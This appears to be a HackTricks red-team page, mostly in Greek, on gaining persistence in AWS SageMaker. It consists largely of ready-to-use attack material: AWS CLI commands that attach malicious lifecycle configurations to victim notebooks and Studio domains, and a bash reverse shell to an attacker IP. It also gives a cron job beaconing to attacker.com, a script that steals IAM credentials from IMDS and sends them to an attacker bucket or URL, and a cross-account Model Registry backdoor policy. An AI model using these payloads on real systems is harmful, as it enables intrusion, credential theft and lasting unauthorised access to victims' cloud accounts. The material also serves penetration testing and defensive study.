AWS - SageMaker Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση των Persistence Techniques

Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση persistence σε SageMaker με κατάχρηση των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, credential theft via IMDS, και SSH backdoors. Αυτά τα scripts τρέχουν με το instance’s IAM role και μπορούν να επιμείνουν μετά από επανεκκινήσεις. Οι περισσότερες τεχνικές απαιτούν outbound network access, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί ακόμα να επιτρέψει επιτυχία αν το περιβάλλον είναι σε ’VPC-only“ mode.

Tip

Σημείωση: SageMaker notebook instances είναι ουσιαστικά διαχειριζόμενες EC2 instances ρυθμισμένες ειδικά για φορτία εργασίας μηχανικής μάθησης.

Απαιτούμενα Δικαιώματα

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Εφαρμογές Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Ρύθμιση Lifecycle Configuration σε Notebook Instances

Παραδείγματα εντολών AWS CLI:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Ρύθμιση Lifecycle Configuration στο SageMaker Studio

Οι Lifecycle Configurations μπορούν να επισυναφθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio.

Επίπεδο Domain του Studio (Όλοι οι χρήστες)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space Level (Ατομικοί ή Κοινόχρηστοι Χώροι)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογών Studio

Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διαφορετικούς τύπους εφαρμογών SageMaker Studio:

  • JupyterServer: Εκτελεί scripts κατά την εκκίνηση του Jupyter server, ιδανικό για μηχανισμούς persistence όπως reverse shells και cron jobs.
  • KernelGateway: Εκτελείται κατά την εκκίνηση της kernel gateway εφαρμογής, χρήσιμο για αρχική ρύθμιση ή persistent access.
  • CodeEditor: Εφαρμόζεται στον Code Editor (Code-OSS), επιτρέποντας scripts που εκτελούνται με την έναρξη συνεδριών επεξεργασίας κώδικα.

Παράδειγμα εντολής για κάθε τύπο:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Επεξεργαστής Κώδικα

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Κρίσιμες Πληροφορίες:

  • Η προσάρτηση των LCCs σε επίπεδο domain ή space επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου.
  • Απαιτεί υψηλότερα δικαιώματα (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — συνήθως πιο πρακτικό σε επίπεδο space παρά σε επίπεδο domain.
  • Ο έλεγχος σε επίπεδο δικτύου (π.χ. αυστηρό egress filtering) μπορεί να αποτρέψει επιτυχημένα reverse shells ή data exfiltration.

Reverse Shell μέσω Lifecycle Configuration

Οι SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα scripts όταν ξεκινούν notebook instances. Ένας attacker με δικαιώματα μπορεί να δημιουργήσει ένα επίμονο reverse shell.

Παράδειγμα Payload:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence μέσω Lifecycle Configuration

Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή commands, επιτρέποντας διακριτή persistence.

Παράδειγμα Payload:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Οι Lifecycle configurations μπορούν να κάνουν query στο Instance Metadata Service (IMDS) για να ανακτήσουν IAM credentials και να τα exfiltrate σε μία attacker-controlled τοποθεσία.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)

Καταχράσου την resource-based policy σε ένα SageMaker Model Package Group για να χορηγήσεις σε έναν εξωτερικό principal cross-account δικαιώματα (π.χ., CreateModelPackage/Describe/List). Αυτό δημιουργεί μια μόνιμη backdoor που επιτρέπει το ανέβασμα poisoned model versions ή την ανάγνωση model metadata/artifacts ακόμη και αν ο attacker’s IAM user/role in the victim account is removed.

Required permissions

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Steps (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Σημειώσεις

  • For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
  • For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.

Επιπτώσεις

  • Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.

Canvas cross-account backdoor στο model registry (UpdateUserProfile.ModelRegisterSettings)

Καταχραστείτε τις ρυθμίσεις χρήστη του SageMaker Canvas για να ανακατευθύνετε σιωπηλά τα model registry writes σε έναν attacker-controlled account ενεργοποιώντας το ModelRegisterSettings και δείχνοντας το CrossAccountModelRegisterRoleArn σε έναν attacker role σε άλλο account.

Απαιτούμενες άδειες

  • sagemaker:UpdateUserProfile on the target UserProfile
  • Optional: sagemaker:CreateUserProfile on a Domain you control

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks